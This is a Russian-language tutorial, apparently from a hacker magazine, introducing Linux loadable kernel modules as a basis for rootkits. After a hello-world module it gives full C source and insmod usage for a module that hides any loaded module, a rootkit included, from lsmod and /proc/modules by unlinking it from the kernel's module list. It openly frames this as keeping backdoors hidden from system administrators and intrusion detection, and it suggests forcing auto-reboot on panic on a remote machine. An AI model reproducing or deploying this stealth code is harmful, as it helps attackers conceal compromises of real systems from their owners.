Часть первая.

Много лет тому назад, когда наша эра только-только начиналась (когда был создан первый персональный компьютер ;-)), хакеры запускали свои бэкдоры дающие шелл и т.д. и называли эти проги названиями типа top, ps, nfsd, etc для того, чтобы сисоп когда смотрел список работающих процессов думал, что эти проги нормальные системные утилиты и игнорировал их. Но технический прогресс не стоял на месте и эту фишку всё чаще и чаще стали просекать. Тогда хаксоры стали модифицировать такие системные утилиты как ps & top чтобы сисоп не мог видеть некоторые процессы, утилиты ls & du чтобы сисоп не мог видеть некоторые каталоги и файлы и т.д... Но прогресс продолжал шагать уверенным шагом вперёд в светлое будущее...

Были разработаны такие тулзы, как, например, Tripwire, которые могли стучать сисопу когда видели что какие-то файлы были модифицированы. Для того, чтобы контролировать всё больше и больше территории из одной точки хаксоры стали патчить системные библиотеки... Сисопы в ответ придумывали свои извраты... В конце концов, эта жестокая и беспощадная война руткитов и бэкдоров с системами обнаружения вторжения перешла на новое поле боя - в саму операционную систему. Хакеры
стали модифицировать самый центр операционных систем - ядро (kernel). И действительно это рульно - подкрутил немного ядро ОС в нужном месте и никакой ls не покажет твоих файлов. Даже ls с read-only диска со статической линковкой библиотечных функций будет молчать!
🙂 Кроме того, обнаружить и удалить Rootkit из ядра ОС тяжелее, чем обычный,
да и возможностей у него больше. Поэтому создание руткитов, бэкдоров и других тулзов для работы в самом сердце операционки стало очень эффективным и популярным занятием последние несколько лет. Теперь уже есть достаточно много док на эту тему, но большинство из них на английском. Кроме того, уже разработано достаточно много новых фич и те, которые описывались в доках 2-3 года назад уже устарели. Поэтому я и решил написать эту доку. Но тема эта довольно большая и сложная, так что я решил написать об этом в нескольких частях.

А теперь собственно о том как мы будем "подкручивать" операционку.
Исходники ядра Linux открыты и распространяются бесплатно. Поэтому их можно модифицировать, компилировать и создавать новое ядро таким каким надо. Но компиляция может занимать слишком много времени и к тому же надо перезагружать комп и т.д. и т.п. Так что это ломно даже для самих разработчиков ядра Linux'а. Это и стало одной из причин создания системы LKM для Linux'а. LKM - Loadable Kernel Modules - подгружаемые модули ядра.
LKM - это что-то на подобии Plug-in'ов для Web-Browser'ов
и других программ. То есть LKM реализует добавление какой-то новой возможности в уже существующую большую программу не перерабатывая ее исходный код, не перекомпилируя и не переинсталируя
ее, а просто загрузкой нужного модуля в нужный момент. Подобные системы существуют во многих ОС, но в этой статье, как я уже сказал, я затрону только LKM систему Linux'а.

Для понимания этой статьи необходимы хотя бы базовые знания языка C и ОС Linux.

Основные команды для работы с LKM модулями под
Linux:

  • lsmod - (LiSt MODules) просмотр списка загруженных модулей
  • insmod - (INStall MODule) загрузка модуля
  • rmmod - (ReMove MODule) выгрузка модуля

Основные правила и отличия программирования LKM'ов для ядра (kernel space) от обычных прог
(user space):

1. Практически нет никаких методов какого-либо контроля. В kernel'е у тебя абсолютная власть, никаких ограничений - ты Царь
🙂 (естественно тебе нужны права root'а что запустить модуль).

2. Так как практически нет методов контроля, то нет и методов исправления твоих ошибок. Если твой мод сделает что-то неправильно, то может зависнуть весь комп и kernel (ядро) убежит в "panic'е" :(. Поэтому на удаленной системе перед загрузкой модуля можешь выполнять эту команду:

$ echo "1" > /proc/sys/kernel/panic

Тогда, если произойдет panic, комп автоматически перезагрузится.

3. Нет доступа к библиотекам libc, и т.д.

4. Нет простого способа использовать системные вызовы. Иногда можно обойтись другими способами, но иногда придется
и чуть-чуть извращаться.

5. Немного другие include файлы: сначала должны быть

#define __KERNEL__
#define MODULE
а потом
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>

и другие при необходимости.

6. Вместо главной функции main() как в обычной проге в kernel module должна быть функция init_module(). А также cleanup_module() которая будет вызываться когда модуль будет выгружаться.

7. Параметры модулю должны передаваться не через переменные argc, argv, а с использованием MODULE_PARM (пример смотри в модулях ниже).

8. Вместо некоторых привычных функций надо использовать их kernel space аналоги: вместо malloc -> kmalloc, free -> kfree, printf -> printk. Причем у функции kmalloc не один аргумент, как у malloc, а два: желаемый объем памяти и ее тип. В большинстве случаев тип памяти - GFP_KERNEL но может быть и GFP_ATOMIC. Подробней об этом позже.

9. Компилировать модуль надо не в исполняемую (executable) прогу, а в объектный (object) файл (например с помощью флага -c к компилятору gcc).

А теперь давай напишем традиционный Hello World! но в виде kernel module 🙂

/* --- --- --- --- --- cut here --- --- --- --- --- */
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>

int init_module()
{
printk("Hack World!\n");
return 0;
}

void cleanup_module()
{
}
/* --- --- --- --- --- cut here --- --- --- --- --- */

Теперь в консоле (будем считать, что ты сохранил исходный код в файле mod.c):

$ gcc mod.c -c #комилируем модуль в object файл (а не executable!)
$ insmod mod.o # запихиваем его в kernel
$ tail -n 1 /var/log/messages # читаем заветные слова 🙂
Oct 20 11:28:54 kernel: Hack World!

Если ты работаешь на обычной консоле, а не на вируальной (без X'ов и не по telnet'у/ssh), то ты
увидиш текст Hack World! на экране и без команды tail.

Ну а теперь давай перейдем к более полезным наворотам.

Обнаружение и скрытие модулей.

Список загруженных модулей можно получить командой lsmod или cat
/proc/modules. А значит сисоп может обнаружить наш модуль и удалить его командой
rmmod! Так что теперь мы поговорим о том как прятать модули 🙂
Это можно сделать несколькими способами, но мы воспользуемся самым простым и эффективным. Для начала небольшое отступление.

Возможно ты уже слышал о таком методе хранения данных как "связный список". Это когда элемент списка содержит в себе данные и еще и ссылку на следующий элемент списка. Некоторую информацию очень удобно хранить и обрабатывать в таком виде. И много инфы в Linux kernel'е так и хранится - есть связный список содержащий инфу о загруженных модулях (но не модули! а инфу - то есть название, размер, состояние и т. д.). Инфа о модуле содержится в структуре module (структкра module описана в файле
/usr/src/linux/include/linux/module.h). Инфа о процессах, например, тоже хранится в связном списке в виде структуры task_struct (структура task_struct описана в файле
/usr/src/linux/include/linux/sched.h). 

Когда кто-то хочет посмотреть список загруженных модулей (командой lsmod или cat /proc/modules) специальная функция (а точнее
modules_read_proc(), которая лежит в /usr/src/linux/fs/proc/proc_misc.c) проходится по связному списку инфы о модулях и выводит их названия и размер.
Для того, чтобы скрыть модуль мы просто удалим информацию о нем из этого связного списка, но сам модуль останется и будет работать дальше :).
А удалить элемент из связного списка просто - нужно в элементе, находящимся перед удаляемым, поменять значение указателя на следующий элемент
- на такой, чтобы он указывал на следующий элемент после удаляемого, а не на удаляемый.

А теперь смотри исходник мода (с комментариями) который может прятать любой мод и показывать его обратно.
В этом модуле нет ничего сложного - в основном он просто работает со связным списком структур module. Ищет, удаляет и восстанавливает указатели-ссылки.

/* --- --- --- --- --- cut here --- --- --- --- --- */
#define __KERNEL__
#define MODULE
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>

char *hide;
long show=0;

// следующие 2 строки нужны чтоб передать модулю параметры (адрес или название мода для скрытия или восстановления)
MODULE_PARM(hide, "s");
MODULE_PARM(show, "l");

int init_module(void)
{
struct module *corr, *prec;

if(!hide) // если не указан модуль для скрытия
{
if(show) //
если указан модуль для восстановления
{
//
впихнуть инфу о модуле в связный список сделав его вновь видимым
((struct module *)show)->next = __this_module.next;
__this_module.next = (struct module *)show;
}
return -1;
}

prec = corr = &__this_module; // инициализируем переменные для поиска

while(corr != NULL) // проходимся по всем элементам связного списка
{
if(strcmp(corr->name, hide) == 0) //
если название текущего модуля = названию скрываемого
{
printk("0x%p\n", corr); //
сообщить адрес инфы о модуле, чтоб потом его можно было сделать снова видимым
prec->next = corr->next; //
убираем инфу о модуле из списка меняя значение ссылки-указателя... после чего мод становится невидимым 🙂
}
prec = corr;
corr = corr->next;
}

return -1;
}
/* --- --- --- --- --- cut here --- --- --- --- --- */

Функция cleanup_module() не нужна, т.к. модуль сразу после загрузки и скрытия/восстановления нужного модуля делает вид, что произошла ошибка и автоматически выкидывается. insmod пишет что произошла ошибка (hmod.o: init_module: Operation not permitted ...), но это нормально и ненужно делать rmmod 🙂

Использование мода.
Компилируем:

$ gcc hmod.c -c

Прячем модуль:

$ insmod hmod.o hide=имя_модуля_для_прятания

Теперь модуль будет спрятан (можно проверить командой
lsmod), а адрес инфы о модуле будет выведен на консоль и в /var/log/messages

Смотрим адрес инфы о модуле:

$ tail -n 1 /var/log/messages
Oct 20 11:43:54 kernel: 0xd089200

А теперь снова показываем модуль путем впихивания инфы о модуле в связный список (необходимо указать адрес из
/var/log/messages):

$ insmod hmod.o show=0xd089200

С этим модулем ты можешь прятать любой мод, rootkit, и т. д.
Но помни: сисоп может, например, модифицировать команду insmod,
чтобы она стучала ему на мыло когда кто-то загружает модуль!
О более продвинутых методах загрузки, обнаружения и скрытия модулей мы поговорим в следующий раз.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии